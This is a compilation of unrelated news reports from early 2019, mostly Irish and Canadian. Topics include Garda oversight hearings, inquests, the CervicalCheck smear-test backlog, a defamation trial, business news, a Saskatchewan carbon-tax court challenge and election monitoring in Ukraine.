He recited a case of a young girl sexually assaulted by a number of juveniles who had been accepted into the programme. He said that to the horror of the victim, who, he said, has suffered greatly, and her family, the juveniles were only given a caution. This prompted an offer from the commissioner for a private meeting with deputy Kenny to discuss the matter.

Donnchadh O Laoghaire about the garda report into the policing of the North Frederick Street repossession in September 2018, the commissioner said they were building in lessons into a final report.

In that incident, gardai and members of a private security firm, conducting the repossession on foot of a court order, were both photographed wearing balaclavas or ski masks.

The commissioner said there would be a change in how gardai manage those incidents and would now be far more assertive in how repossessions are carried out, the time they are done, and how to minimise any breach of the peace.

Gardai were again engulfed in controversy last December at how they handled a forceful repossession at Strokestown, Co Roscommon.

The commissioner said the lessons were being incorporated into their operating procedures, which would form part of a report on policing public order incidents currently being compiled by the Garda Inspectorate for the Policing Authority.

He told Mr O Laoghaire the Garda's job is to preserve the peace and prevent crime at these incidents and that they would be assertive in ensuring that the manner in which the repossession is being conducted is conducive to achieving those ends.

In relation to the failure to prosecute 3,500 juvenile offenders, he said just over 3,200 gardai associated with the issue were still serving and that he had referred the cases to local chief superintendents to consider possible disciplinary proceedings.

He said that while there was a combination of individual and organisational failings, a basic skill of a member was to prepare to file to the DPP, adding: that didnt happen.

The Garda Representative Association has blamed systemic failings, citing the absence of coordinated training, inadequate supervision and technological supports at the time.

Bombings review

A full cold-case review of the Dublin and Monaghan bombings is under active consideration, Commissioner Drew Harris has said.

He said a scoping exercise was being conducted to inform the decision as to whether or not to refer the matter to the Garda Serious Crime Review Team.

Probed by committee chair Caoimhghin O Caolain about using information he has from his previous positions in the PSNI, Mr Harris said that what he is able to do now is as commissioner.

Asked by Louth TD Peter Fitzpatrick about his knowledge when he served as PSNI deputy chief constable regarding the identity of the IRA chief who ordered the murder of Tom Oliver in 1991, the commissioner said it was no longer his information but that of the PSNI chief constable.Defence Forces veterans are set to hold a national march in Cork on May Day to highlight poor pay and conditions endured by serving members of the military.

It will be the second national march organised by veterans following one last September when thousands of ex-soldiers, sailors and aircrews protested outside the Dail.

Noel O'Callaghan, a retired regimental sergeant major, who is organising the 'Respect and Loyalty Parade' said the government is continuing to ignore the fact that poor pay and conditions are the root cause of why so many are quitting the Defence Forces.

He said serving members, who are the poorest paid public servants, have received no pay restoration and continue to perform 24-hour duties for 64 cents an hour after tax.

"They continue to be denied the EU Work Time Directive, or access by representation bodies RACO & PDFORRA to the Labour Courts," Mr O'Callaghan said.

The exodus of trained and experienced Defence Force members continues. There was an average of 53 a month in 2018 - 55 in January of this year.

"The Minister for Defence Leo Varadkar will tell you there is no money for pay restoration for the Defence Forces. Yet there is money for huge pay increases, expenses, pensions etc for TDs, senators and councillors," Mr O'Callaghan said.

It is expected that a large contingent from the lobby group Wives & Partners of the Defence Forces (WPDF) will also join the Cork parade.

Mr O'Callaghan said there was plenty of money in the Department of Defence budget. But he said millions of euro is being diverted away from increasing pay and used instead to buy equipment.

"They can have all equipment they want, but it's meaningless and a waste of taxpayers' money if they don't have the soldiers, sailors and airmen to use the equipment," Mr O'Callaghan said.

He pointed to a survey showing there continues to be a very high level of trust in the Defence Forces, with a score of 82%. "This is by far the highest of all public sector bodies, and also well above the EU average for armed forces. We hope that the Public Service Pay Commission will take note of the opinion of the Irish public and reward their loyalty and professionalism," the former soldier added.

Mr O'Callaghan added that ex-servicemen are mounting the parade because serving members are not allowed to take part in such protests.A man who died when his car struck a ditch and then collided with a Bus Eireann bus was most likely not wearing a seatbelt, an inquest has heard.

John Finbarr McCarthy of Lackenacummeen near Belgooly in Co Cork was killed in the crash when his Suzuki Swift spun into the bus on November 27, 2017.

At an inquest in Bandon into the death, the bus driver, Paul Connolly, told coroner Frank O'Connell that he was driving the 226 service to Kinsale from Cork on the night in question - his second time on the route that day.

Mr Connolly, a bus driver with Bus Eireann for 16 years at that point and having never been involved in a serious incident, had just stopped in the village of Riverstick to pick up a passenger and was on a straight stretch of road at Ballinacourtha approaching a bend when he saw the lights of an approaching car.

He told the inquest that he quickly said to himself that the car was after hitting the ditch and almost immediately he realised the oncoming car was about to hit the bus.

The court heard that the car driven by Mr McCarthy, who was in his mid-seventies, had hit a metal barrier before rebounding into the road, where it hit the bus at a 45-degree angle under the passenger stairwell.

Mr Connolly and a pair of first responders who happened to be on the bus quickly checked the car. According to Mr Connolly's statement to gardai "a man was lying strangely in the passenger seat of the car". He was the sole occupant.

The first responders attempted CPR on Mr McCarthy, who was a single man, but he was pronounced dead at 10.10pm and the first garda on the scene said he believed he died on impact. Garda forensic collision investigator Mark O'Connor told the inquest that the front of the Suzuki Swift was "severely impacted", while the passenger door of the bus was crumpled and the stairwell impacted.

Garda O'Connor said the bus had been travelling as normal and that CCTV footage from the bus showed lights filling up the screen as the car crashed into it. The court heard there was no evidence of braking by the Swift, which appears to have drifted into the bus following the collision with the barrier.

Subsequent inspections showed both vehicles had been in a roadworthy condition at the time of the incident and Garda O'Connor also said that the fact the seatbelt was operating as normal following the crash may have indicated that it had not been worn by the driver of the Swift.

Asst State Pathologist Dr Margaret Bolster said there was no alcohol in Mr McCarthy's system at autopsy, with some medication present in the high therapeutic range and a sleeping tablet in the high therapeutic range.

Among the multiple injuries sustained by Mr McCarthy was a severing of the main aorta, which the coroner said would be consistent with not wearing a seatbelt.

The case was heard before a jury and Mr O'Connell said there was only two verdicts open to them - a verdict of accidental death or an open verdict.

The jury, after a brief deliberation, recorded a verdict of accidental death, recorded by the coroner as having been caused by polytrauma consistent with a road traffic collision.

Mr O'Connell extended his sympathies to Mr McCarthy's family, one of whom said the bus driver was never far from their own thoughts.Friends of two 15-year-old promising rugby players who drowned while swimming in a disused quarry in Co Clare last summer told gardai they desperately tried to save the pair but failed after tiredness overcame them.

Details of the tragedy were heard at the victims inquest today at Limerick Coroners Court.

There were emotional scenes at the hearing as friends and family of victims Jack Kenneally and Shay Moloney, sat and listened to harrowing evidence of their final moments.

Jack Kenneally

The inquest also heard how paramedics were sent to three different quarry locations in the Ennis area before eventually arriving at the correct quarry, half an hour after receiving the initial 999 call.

An internal investigation carried out by the National Ambulance Service found no fault with procedures during the ambulance emergency response.

The depositions of three friends of the victims were read into the record by Garda Inspector Dermot OConnor, Henry Street garda station, Limerick.

The Kenneally family, including Jacks father Sean (right), outside Limerick Coroners court today. Pic Liam Burke/Press 22

The group of five, all aged 15, had gone swimming to an island in the middle of the quarry when Jack Kenneally and Shay Moloney got into difficulty.

The inquest heard there were warning signs erected at the disused quarry, which it was heard is owned by Clare County Council.

One of the boys in the group described how the victims started to panic after getting into difficulty in the water.

Another boy described being pulled under the water by one of the victims as they tried to help save them.

I was trying to keep Shay up, keep him calm for two minutes. My arms got too tired and I couldnt hold him anymore, one of the boys told gardai.

Dean Coughlan, 19, from Station Road, Ennis, who was passing at the time, and heard the boys screaming, jumped into the water to try to help but he couldnt reach them.

He told gardai, that as he made his way to the waters edge he could see one of the boys trying to keep Shay up.

I was close when I saw them go down...only (one) came back up...he was distraught, Mr Coughlan added.

Ennis firefighters arrived at the scene nine minutes after receiving the alert.

The inquest heard that, despite being able to see the victims beneath the surface they could not reach them as the boys were too deep in the water.

The inquest heard how firefighters trained in water rescues wear special flotation suits which, for their own safety, positions the fire fighter on the surface of the water, thus preventing them from diving.

Michael ORourke, a diver attached to Ennis Sub Aqua Club came on the scene and retrieved the bodies of the two young victims.

Diver Michael ORourke arriving at Limerick Coroners court for the inquest today. Pic Liam Burke/Press 22

Coroner Dr John McNamara said despite valiant efforts by their friends, paramedics, and firefighters, the boys were later pronounced dead at University Hospital Limerick.

Dr McNamara returned a verdict of accidental death due to asphyxiation secondary to drowning for each boy.

On foot of a suggestion from Sean Kenneally, father of Jack, Dr McNamara said he would make a recommendation that the owners of the quarry erect life buoys at the site.

A spokesman for Clare County Council said they had no comment to make.Update: It is "inevitable" that some women who are now waiting up to six months for CervicalCheck results will have abnormal smears, the head of the HSE's Women and Infants Health Programme has warned.

Officials from the HSE have also confirmed that the already delayed HPV test may not be rolled out this year due to the backlog in smear tests, writes Elaine Loughlin.

Health Minister Simon Harris had initially promised that the new test would be introduced by last October, however, appearing before the Oireachtas Health Committee on Wednesday morning officials said that they "can't put a date on" when this system will come into force.

Anne O'Connor, interim director general of the HSE, told the committee that there is now a backlog of 78,000 slides and the length of time being taken for reporting of cervical smears is now averaging 93 days although it in some cases it is taking 27 weeks for reports to be provided.

She said this backlog will have to be cleared before the new test, which is significantly more accurate, can be introduced.

Asked when the HPV test will be available to women in Ireland, Ms O'Connor said: "I can't put a date on that, our priority at the moment is to address the capacity challenges that we have.

"We are caught in terms of addressing the current cytology challenges as well as trying to progress HPV, so we have to sort out our current situation first, address capacity, address the backlog and move to the new model."

Fianna Fail health spokesperson Stephen Donnelly asked about the potential clinical risk to women if abnormalities are detected after a six month waiting in receiving smear results, pointing out that many women were now concerned about this.

Responding, Clinical Director of the HSE's Women and Infants Health Programme, Dr Peter McKenna said: "We would all share the concern that a waiting time in excess of a couple of months is far from ideal.

"Of course there will be women in that group in the 80,000 that will have abnormal smears.

"Most of those women who have abnormal smears will be a long way from developing cervical cancer but there will inevitably be some women who are nearer the stage of transition from pre-invasive to invasive.

"It's not really possible to give an estimate on the number but it would be foolhardy to say there would be no risk, but in general the risk would be low," Dr McKenna said.

Earlier: CervicalCheck faces backlog of 78,000 smear tests

There is a backlog of almost 80,000 cervical smear tests as the system struggles to cope with extra demand.

The figures come as a Joint Committee on health is given an update on the CervicalCheck programme by the HSE.

Ms Anne OConnor, Interim Director General of the HSE has told the committee that the length of time being taken for reporting of cervical smears is on average around 93 days.

She added that it can take up to 27 weeks for the report to be provided. She also confirmed that there is a backlog of around 78,000 slides.

In the past, it took four to six weeks to get a result from a smear test.

Ms O'Connor said: "We have worked with existing private providers, other private providers and public service providers in other countries to try and grow our laboratory capacity. Some of our existing providers have managed to reduce the wait times and we continue to work with others to try and find additional capacity. While we continue to pursue active leads this has proved very challenging due to the global shortage in cytology.

"The HSE has a signed agreement with one of the private providers and are working through the detail on a contract with the second provider with whom we have a heads of agreement. We also made a strategic decision to develop a national cervical screening laboratory in conjunction with the Coombe Woman and Infants University Hospital.

"This included an initial capital allocation of 5m to progress the development of the laboratory. A project team and steering group has been put in place to oversee all aspects of this project. This will take some time to develop but will provide a better balance between public and private provision of laboratory services to the cervical screening programme."

An additional 90,000 women sought a smear test after free re-checks were offered in the wake of the CervicalCheck scandal.

The HSE bosses will say they are committed to introducing that screening here and that all resources are being put towards stabilizing the cervical screening programme.Denis OBriens inclusion in articles about a report concerning the exposure of Irish banks in 2008 was not part of some crazy conspiracy to damage him, journalist Tom Lyons has told a High Court jury.

Mr Lyons said Mr OBrien was included in the Sunday Business Post articles of March 15th 2015 because he was named in that report by Price WaterhouseCoopers (PWC) as among the 22 biggest borrowers from Irish banks in 2008.

The PWC report was about the financial crash and what happened to Ireland, not about Mr OBrien, he said.

The SBP articles "faithfully reported" the PWC report and were not defamatory of Mr OBrien.

Nor were they malicious and, as a professional journalist, he felt sick to the bottom of my stomach such an allegation was made.

In cross-examination by Paul OHiggins SC, for Mr OBrien, Mr Lyons said it was ridiculous to suggest he or then SBP editor Ian Kehoe might have made up something about Mr OBrien and stuck him in the middle of the articles.

To protect his source, Mr Lyons said he shredded the PWC report, labelled confidential, on March 17th 2015, the day before Mr OBriens solicitors sent their first letter complaining about it. He has no notes of the report but was confident the SBP articles were a fair reflection of its contents.

Mr OHiggins said his side has never seen the PWC report and suggested it was likely to have dealt with other dimensions to the banks story not covered in the SBP articles.

Mr Lyons said: We covered all the main points, Im a very experienced journalist.

The story was about Ireland, the big picture and the focus was not Mr OBrien, he said.

I know Mr OBrien thinks the report is all about him but it wasnt.

One of the SBP articles written by him got across the "top line numbers as set out in the PWC report concerning Mr OBrien. PWC had put Mr O'Brien's total borrowings from Irish banks in 2008 at 1 billion, including 785m from Anglo and his article reported that and that Mr O'Brien was meeting all his repayments.

The 22 individuals were referred to as a group of borrowers at various stages throughout the report and dealt with individually towards the end of it and he believed two pages concerned Mr O'Brien individually.

The cross-examination of Mr Lyons will resume on Thursday in the action by Mr O'Brien against Post Publications alleging the articles defamed him because they wrongly meant he was among a gang of 22 borrowers who wrecked the country and injured his reputation.

The defendant denies the words mean what Mr O'Brien claims, denies defamation and malicious publication and has pleaded "fair and reasonable publication on a matter of public interest".

On Wednesday, Mr Lyons told his counsel Michael McDowell SC he and the SBP were professional and analytical and diligent in their approach to publication. There was no agenda in using a photo of Mr OBrien among several photos of others used and photos were selected on the basis of what was available and who was best known among the group of 22.

Addressing Mr OBriens claim he was wrongly described as a property developer when his core business was telecommunications and media, Mr Lyons said: We thought he was a property developer.

He disagreed describing Mr OBrien as a developer was a gratuitous slur.

He said the articles faithfully reported the PWC report and articles written by him also included material from the Dail record in 2008 and informed comment by me.

He had commissioned Gavin Sheridan, journalist and transparency campaigner, to write one of the articles for which Mr Lyons chose the headline People of Influence, people of blame. Mr Lyons said he took responsibility for that article and defended it 100 per cent.

He said a headline The Gang of 22 in one of his articles meant a group and was very obviously not a reference to criminality.

He said he did not believe Mr OBriens evidence that he had not read a biography of him written by Siobhan Creaton which, Mr Lyons said, included six references to Mr OBrien being in a gang.

The 22 included some pretty good guys like Mr OBrien who were caught on the wrong side of a property bubble, he said. He had no malice against any of them who included some very decent people, some of whom had cost the taxpayer a lot of money and some like Mr OBrien who did not cost the taxpayer money.

The Irish banks ended up owing some 64 billion, multiples of the exposure they had indicated to PWC when it was preparing the report, he said. To put 64 billion in context, he suggested, that would build 32 childrens hospitals.A South Dublin businesswoman has sued her former partner claiming she is entitled to a share in a property business they allegedly built up together over many years.

The action has been brought by Ali Barker against Mr Owen Owens with an address at Rochfort, The Burnaby, Greystones Co Wicklow and a company he founded Dunbury Holdings.

In her action, Ms Barker, represented by Martin Hayden SC, seeks various declarations including that the company constitutes a quasi-partnership between her and Mr Owens, and they are entitled to 50% each of the equity in the partnership.

She also seeks a declaration that the company and Mr Owens' business activities comprise of a partnership between Ms Barker and the businessman.

She seeks a declaration that she is a cohabitant within the meaning of Part 15 of the 2010 Civil Partnership Act and is entitled to seek reliefs available under that act.

Ms Barker of Hillcourt Park, Glenageary, Co Dublin further seeks damages.

The claims are denied by Mr Owens, represented by David Conlan Smyth SC, who says no business partnership ever existed between him and Ms Barker.

The couple split in 2010, after 17 years together. She claims that she and Mr Owens got together after her marriage to another party didn't work out.

She claims shortly after they got together that on his invitation she quit her job in the retail business, and worked with him in the property business.

She claims she added to the business and helped it build up a substantial portfolio by acquiring commercial, retail and residential properties mainly in the Dublin area

She became a director of the firm in 2002 and was first paid a salary in 2005.

She claims the business, which she was very actively involved with was very successful and allowed them to enjoy a privileged lifestyle. In 1999 they had a daughter together.

They had a substantial home in Wicklow, a 1.6m holiday home in France, a personal staff contingent, luxury vehicles, a 47ft yacht, horses, luxury travel, and significant spending power.

In 2010 the relationship broke down, and there were difficulties between the two.

She claims Mr Owens had cynically engineered a situation to end their personal relationship in order to deprive her of the protections and rights she claims she would have been entitled to under the 2010 Civil Partnership Act.

She claims that she moved out of the home they shared due to his behaviour and that he directed the company to discontinue paying her and excluded her from the business.

She also claims that Mr Owens commenced a relationship with a friend of hers, which she believes began when Ms Barker and Mr Owens were still together.

In his defence and counterclaim, Mr Owens denies all the allegations against him and says she has no entitlement to anything in the business.

Mr Owens says he never provided a guarantee of life long security through a partnership with him.

He never invited to resign from her job in 1994 as claimed, or that she worked with him or developed his property interests.

The only business relationship he had with her was from 2005 to 2010 when she was a salaried employee of his business. It was accepted she became a director of the company.

He rejects claims his behaviour towards her deteriorated in 2010.

He also rejected claims he cynically engineered a situation to deprive her of protections under the 2010 Act and says she has not entitlements under the act which commenced in January 2011, when their relationship ended in April 2010.

He also said his new relationship commenced after his and Ms Barker's had ended.

In his counterclaim, he seeks orders including for possession at the house she resides at Hillcourt Park Glenageary, which he says he is the registered owner of.

He also wants the court to order Ms Barker, and relevant others including her current partner to vacate and cease trespassing at said property.

The case before Mr Justice John Jordan stands adjourned today after the parties entered into discussions aimed at resolving the dispute.

It will return before the judge tomorrow.Smurfit Kappa will likely in time attract a renewed offer from International Paper after the Irish firm resisted its takeover offer last year, broker Cantor Fitzgerald has predicted.

Analyst Darren McKinley said there was a high probability that International Paper will renew its offer sometime after June  the earliest date that, under stock market rules, the US firm can relaunch any offer for Smurfit.

The packaging company argued at the time that International Papers offer  which was worth as much as 39 a share  undervalued its global operations.

The shares have since slid back to 26.96, valuing the Irish firm at almost 6.3bn.

Since the offer, Smurfit has grown by acquisition, which could make it more attractive to International Paper to renew an offer, Mr McKinley said.

Speculation may start to grow again given where the shares are trading and the opportunity for IP to approach again, he said.

At almost 27 a share, Cantor Fitzgerald believes Smurfit is undervalued and ascribes a fair value price of 31 on the company.

The shares rose almost 5% on Wednesday after Smurfit released full-year earnings and a positive outlook despite the prospects for a slowing world economy this year.

Earnings climbed 25% to over 1.54bn in 2018 as revenues rose 4% to 8.95bn.

It said it plans to pay a final dividend of 72.2 cent, up 12% from a year earlier.

Smurfit confirmed it will seek compensation from Venezuela after its government last year seized some of its assets.

In brief comments on the outlook, Smurfit said it was delivering progressively superior returns. Broker Davy reiterated its target of 42 for Smurfit shares.Car giant Ford has warned that leaving the European Union without a deal next month would be "catastrophic" for the UK's auto industry.

The company did not confirm a newspaper report that it was stepping up preparations to move production out of the UK.

A Ford spokesman said: "We have long urged the UK Government and Parliament to work together to avoid the country leaving the EU on a no-deal, hard-Brexit basis on March 29.

"Such a situation would be catastrophic for the UK auto industry and Ford's manufacturing operations in the country.

"We will take whatever action is necessary to preserve the competitiveness of our European business."

The Times said Ford told Prime Minister Theresa May during a telephone call with business leaders that it was preparing alternative sites abroad.

The car industry has been warning about the impact of a no-deal Brexit, with some already cutting back on jobs and production plans.

Nissan said last week it would no longer build its X-Trail car in Sunderland, Jaguar Land Rover has announced plans to cut 4,500 jobs in the UK and Ford could cut about 1,000 jobs, mainly at its Bridgend engine plant.

Unite national officer Des Quinn said: "This latest warning from Ford underlines the catastrophic consequences of a no-deal Brexit on the UK's world leading car industry, its integrated supply chain and wider manufacturing communities.

"Ministers and MPs must stop gambling with the futures of UK workers and their families.

"They now must do what is best for the country by taking a no deal, hard Brexit off the table and securing the tariff-free, frictionless trade with Europe through a permanent customs union on which our manufacturing success depends."

-Press AssociationIrish construction company Ardmac has announced the creation of 70 new jobs as part of its expansion in Cork and Amsterdam this year.

The company, which is headquartered in Dublin, has 30 directly employed staff currently working on projects across Cork and will aim to add 20 employees to its new office there over the next three years.INNISFAIL, Alta. - The RCMP is looking for kids who have great ideas for names starting with an M.

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The RCMP is looking for help to name the next generation of police dogs. The chosen names will be given to 13 German Shepherd puppies, three of which are shown in a handout photo, born at the Police Dog Service Training Centre in Innisfail, Alberta. THE CANADIAN PRESS/HO-RCMP MANDATORY CREDIT

INNISFAIL, Alta. - The RCMP is looking for kids who have great ideas for names starting with an M.

The latest 13 German shepherd puppies born at the Police Dog Service Training Centre in Innisfail, Alta., need names worthy of the next generation of canine officers.

Mounties say the names must have no more than nine letters and no more than two syllables.

Contestants must live in Canada and be 14 years old or younger

Only one entry per child will be eligible and the deadline is March 26.

Children whose names are selected will each receive a laminated photo of the pup they name, a plush dog named Justice and an RCMP baseball cap.

Entries can be made online or in a letter. The winners are to be announced April 30.Montreal's McGill University has received what it says is the single largest donation in Canadian history in the form of a $200-million gift towards a graduate scholarship program.

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Montreal's McGill University has received what it says is the single largest donation in Canadian history in the form of a $200-million gift towards a graduate scholarship program.

McGill said Wednesday that the donation by John and Marcy McCall MacBain will be used to support up to 75 Canadian and international graduate scholars every year.

At an announcement at the school, John McCall MacBain said the students in the program will be given mentors, travelling opportunities and leadership training in addition to funding for their studies.

"We understand that scholarships must be about more than financial support, although that's important as well," he said.

"The McCall MacBain scholars will have access to a comprehensive graduate environment program at McGill, with mentorship, on and off campus activities, community development opportunities and an international experience."

The school said the criteria for selection would include civic engagement, academic excellence, leadership skills and exceptional character.

Marcy McCall MacBain added that the program would seek applicants with "a proven track record of reaching out" and taking on "tough but important" roles in their schools and communities.

McGill will begin taking applications for the scholarships in 2020, and the first recipients will begin their studies in 2021.

Guests at the announcement included Montreal Mayor Valerie Plante, former governor general David Johnston and federal Justice Minister David Lametti, who read a letter of congratulations from Prime Minister Justin Trudeau.

Lametti, who was a McGill law professor before entering politics, described the donation as a "transformational gift" that would allow students not only to attend McGill but also to "build those international connections and networks and be exposed to the kinds of thoughts and ideas that put you in a position ... to be leaders and set the tone."

John McCall MacBain, 61, is the founder of classified ad company Trader Classified Media, while his wife Marcy is an academic and researcher in the field of evidence-based medicine.

John McCall MacBain was appointed an officer of the Order of Canada in 2016 for his philanthropy and support of educational initiatives.

Both John and Marcy McCall MacBain said Wednesday they were motivated to give back to the academic community after receiving scholarships and other support early in their careers.REGINA - Lawyers for Saskatchewan and its allies warn that Ottawa's justification for imposing a carbon price on consumers will erode provincial sovereignty under the Constitution.

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Saskatchewan Premier Scott Moe speaks to the media at the First Ministers conference in Montreal on December 7, 2018. Lawyers are expected to pack a Regina courtroom today to argue the constitutionality of a federally imposed carbon tax. A panel of five judges is to listen to arguments from both the Saskatchewan and federal governments as well as from 16 interveners on both sides of the dispute. Saskatchewan opposes the federal government's plan to force a carbon tax on the province and plans to argue it is unconstitutional because it's not applied evenly in all jurisdictions. THE CANADIAN PRESS/Ryan Remiorz

REGINA - Lawyers for Saskatchewan and its allies warn that Ottawa's justification for imposing a carbon price on consumers will erode provincial sovereignty under the Constitution.

"Giving Canada this degree of regulatory authority over (greenhouse gas emissions) will result in the limitless, intrusive federal regulatory capability over provincial affairs," William Gould, for New Brunswick's attorney general's office, an intervener in the case, said Wednesday.

"It only begins here."

Saskatchewan's legal counsel opened a two-day Appeal Court hearing by arguing that the province's constitutional challenge of a federal carbon levy is not about climate change, but the divisions of power.

"This is not a case about whether climate change is real or not," Mitch McAdam said. "The government of Saskatchewan is not made up of a bunch of climate change deniers."

He said the question is whether provinces are "sovereign and autonomous within the areas of their jurisdiction" under the Constitution Act.

"Or under our Constitution can the federal government step in whenever it thinks provinces aren't ... exercising their jurisdiction appropriately and act for them?

In this image grab, lawyer Mitch McAdam addresses the Saskatchewan Court of Appeal in Regina, Wednesday, Feb.13, 2019. McAdam, a lawyer for Saskatchewan's attorney general, says the provincial government does not dispute climate change. THE CANADIAN PRESS/HO-CBC MANDATORY CREDIT

"That's really what this case is about."

Evidence presented that speaks to the gravity of climate change and effectiveness of carbon pricing is irrelevant, McAdam said.

"The fact that climate change is a serious issue does not override the Constitution."

Ottawa's legal position is that climate change is a national concern and the federal government has the power to impose a carbon tax under the Constitution, which states laws can be made "for the peace, order and good government of Canada."

Alan Jacobson, a lawyer for Saskatchewan, argued that Ottawa does not meet the constitutional test to use the rationale of a "national concern."

"How does an Ottawa policy turn into a national concern?" he asked.

Jacobson said "of peace, order and good government of Canada" has sweeping implications and should be approached by the court with caution.

"It's radical and intrusive. It's absolute and exclusive," he said. "It wishes to displace provincial space that today exists over these areas."

Arguments that Canada is in the right because it has international obligations to reduce greenhouse gas emissions should be dismissed, Jacobson added.

"Ottawa is not a big brother jurisdiction over the provinces even when it makes international commitments."

A panel of five judges is hearing arguments from both sides as well as from interveners such as the provinces of New Brunswick and Ontario, which are also fighting the federal carbon tax.

In total, there are 16 groups intervening in the case.

Ottawa is to get its turn to present its side Thursday. Saskatchewan will have a chance to respond. Interveners in favour of a carbon tax will also speak, including Indigenous groups and environmentalists.

The Saskatchewan Party government argues a federal carbon levy is unconstitutional because it's not applied evenly across Canada and intrudes on provincial jurisdiction. Provinces that already have their own carbon-pricing plan are not subject to the federal tax.

Saskatchewan is one of four provinces without a plan that will be subject to Ottawa's fuel charge starting in April. New Brunswick, Ontario and Manitoba are the others.

The federal government's carbon price starts at a minimum at $20 a tonne and rises $10 each year until 2022.

Before the hearing started, University of Alberta law professor Eric Adams said the constitutional arguments are significant.

"I would put this case on a short list of important federalism decisions that courts have grappled with," Adams said.WINNIPEG - A family trying to get back a newborn who was seen in a social media video being taken away by police in a Winnipeg hospital is to be back in court in March.

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This article was published 13/2/2019 (861 days ago), so information in it may no longer be current.

A woman holds a photo of a baby and an eagle feather at a press conference in support of the mother who's newborn baby was seized from hospital by Manitoba's Child and Family Services (CFS) at First Nations Family Advocate Office in Winnipeg on Friday, January 11, 2019. The family of a newborn seen in a social media video being taken away by police in hospital will be back in court next month in an effort to get the baby back. THE CANADIAN PRESS/John Woods

WINNIPEG - A family trying to get back a newborn who was seen in a social media video being taken away by police in a Winnipeg hospital is to be back in court in March.

The video of the infant was broadcast live on Facebook by the woman's uncle in January, and First Nations leaders have said it shows a child-welfare system biased against Indigenous people.

The video shows the mother sitting in a Winnipeg hospital bed and cradling the newborn in her arms as social workers and police explain the child is being taken into care. The mother cries softly before officers place the newborn in a car seat and take her away.

The family cannot be identified under Manitoba law.

The General Child and Family Services Authority oversees the social workers who apprehended the baby but is no longer involved in the case. It has said it stands by its decision.

At a child protection hearing Wednesday, the case was moved forward to an intake court on March 21. The judge in that court will have more information from the newborn's family and the First Nations child and family services agency, and will attempt to find a resolution.

If it cannot be resolved there, it will go to trial.

Statistics from the Manitoba government show that newborn apprehensions occur, on average, about once a day. About 90 per cent of kids in care are Indigenous.

Documents filed in court said there were two possible fathers of the newborn, and last week court heard a man had come forward saying he was the father.

The documents also said hospital staff believed the mother was drunk and smelled of alcohol when she was brought to the hospital to have the baby. In a news conference with family a day after the baby was apprehended, the mother and her family admitted she'd struggled with addiction and had sought help before and during her pregnancy, but they disputed the allegation she was intoxicated during labour.

The mother has said she would like the baby to be in the care of her aunt.OTTAWA - The first waves of Canadian election monitors have arrived in Ukraine, as fears rise over Russian meddling in the March 31 presidential ballot.

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People cast their ballots at a polling station during rebel elections in Donetsk, Ukraine, Sunday, Nov. 11, 2018. The first waves of Canadian election monitors have arrived in Ukraine, as fears rise over Russian meddling in the March 31 presidential ballot. THE CANADIAN PRESS/ AP

OTTAWA - The first waves of Canadian election monitors have arrived in Ukraine, as fears rise over Russian meddling in the March 31 presidential ballot.

The observer missions are crucial to preserving Ukraine's ability to conduct a democratically sound election in the face of Russian efforts designed to portray the country as poorly run and corrupt.

The crisis dates back to the Kremlin's annexation of Ukraine's Crimean Peninsula in 2014 and its backing of Russian separatist militias in eastern Ukraine.

Canada and its NATO allies consider Russia's actions, backed by President Vladimir Putin, to be a breach of Europe's borders, and have shored up the 28-country alliance's military forces in several eastern European countries.

Now with a pivotal presidential election campaign swinging into high gear, the Trudeau government is following in the footsteps of previous Conservative and Liberal governments in sending a bilateral Canadian-led observer mission, organized between Canada and Ukraine, while also contributing to a multinational mission led by the Organization for Security and Co-Operation in Europe.

The OSCE monitoring missions are widely considered the gold standard in international election monitoring. But Canada's decision to send separate observer missions is unique and has generated controversy over the years.

Numerous internal government assessments have said the missions were either problematic or too expensive.

That has not stopped Liberal and Conservative governments from supporting the missions, sparking concerns that they were simply playing politics to win the support of the estimated 1.3 million Canadians of Ukrainian descent.

"Election observation is one of most transparent and accountable ways to support democracy," Adam Austen, spokesman for Foreign Affairs Minister Chrystia Freeland, told The Canadian Press in an email.

"That is why Canada is proud to support Ukraine's upcoming elections through a range of actions, including a bilateral election observation mission and the Organization for Security and Co-operation in Europe (OSCE) election observation mission."

The last of 58 long-term Canadian observers arrived in Ukraine on Tuesday, officials said.

That includes 50 people who are part of the Canadian-led bilateral mission that will eventually include an additional 100 short-term observers.

Another eight observers also arrived recently as part of Canada's contribution to the multi-nation mission led by the OSCE. Canada will be sending 14 more short-term observers to that mission in the coming weeks.

They are among 100 long-term and 750 short-term observers from 13 countries serving on the OSCE mission. Two proposed Russian observers were rejected by Ukraine and the Kremlin withdrew their request to serve on the mission, said Thomas Rymer, spokesman for the OSCE's Office for Democratic Institutions and Human Rights.

"The Ukrainian authorities made it clear that they would not accredit observers from the Russian Federation, and Ukraine's parliament then passed a law supporting this position," Rymer said in an emailed response to questions. "After it became clear that the Ukrainian authorities would not accredit the Russian observers, the Russian Foreign Ministry announced that it had decided not to send the observers, citing security concerns."

Canada fully supported that decision to prevent Russians from taking part in the multilateral mission, said a senior Canadian government official, speaking on the condition of anonymity due to the sensitivity of the situation.

The head of Ukraine's cyber police told the Associated Press on Wednesday that Russian hackers have stepped up their efforts to penetrate its central election commission computer systems and manipulate information.

Last week, the Russian-backed former Ukrainian president, Viktor Yanukovych, claimed there would be vote rigging in the upcoming election.

Yanukovych has been found guilty of fuelling the deadly separatist fight that engulfed eastern Ukraine after he was forced to flee the country in February 2014 following a wave of protests. Russia then sent troops to the Crimean Peninsula to annex that part of Ukraine in April 2014.

In 2004, former prime minister John Turner led the first such bilateral mission of Canadians to Ukraine under the then Liberal government of Paul Martin. The Conservative government of Stephen Harper contributed Canadians to several more of these bilateral missions.

Government officials have raised concerns about this practice. In 2012, Margaret Biggs, the former head of the now defunct Canadian International Development Agency, wrote that multilateral missions are "considered a best practice for international election monitoring." Biggs said that in Ukraine in particular the OSCE is "viewed as the most impartial and trustworthy, and their findings are taken seriously by the host country and the international community.''

A senior Canadian official said Wednesday that "we think both are important and are doing both."

With files from the Associated PressHey there, time traveller!

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An artist's rendering of Maryland Park School. (MCM Architects Inc.)

Winnipeg-based company Fresh Projects has been chosen to build Brandons Maryland Park School.

Brandon school board trustees voted unanimously in favour of awarding the contract to the company during a board meeting on Monday evening.

A motion was presented to the board to award the low tender from Fresh Projects, in the amount of $22,679,187 plus GST, for the construction of the new K-8 school.

There were 10 tenders in total, and four of those were local from Brandon and its surrounding area, Brandon School Division board chair Linda Ross told The Sun. They went with Fresh Projects in Winnipeg because it was the lowest bid.

Approximately $10 million of the $22.7 million will be sub-contracted locally, Ross said.

"The electrical, the mechanical the roofing work  all of that stuff is being sub-contracted locally," she said.

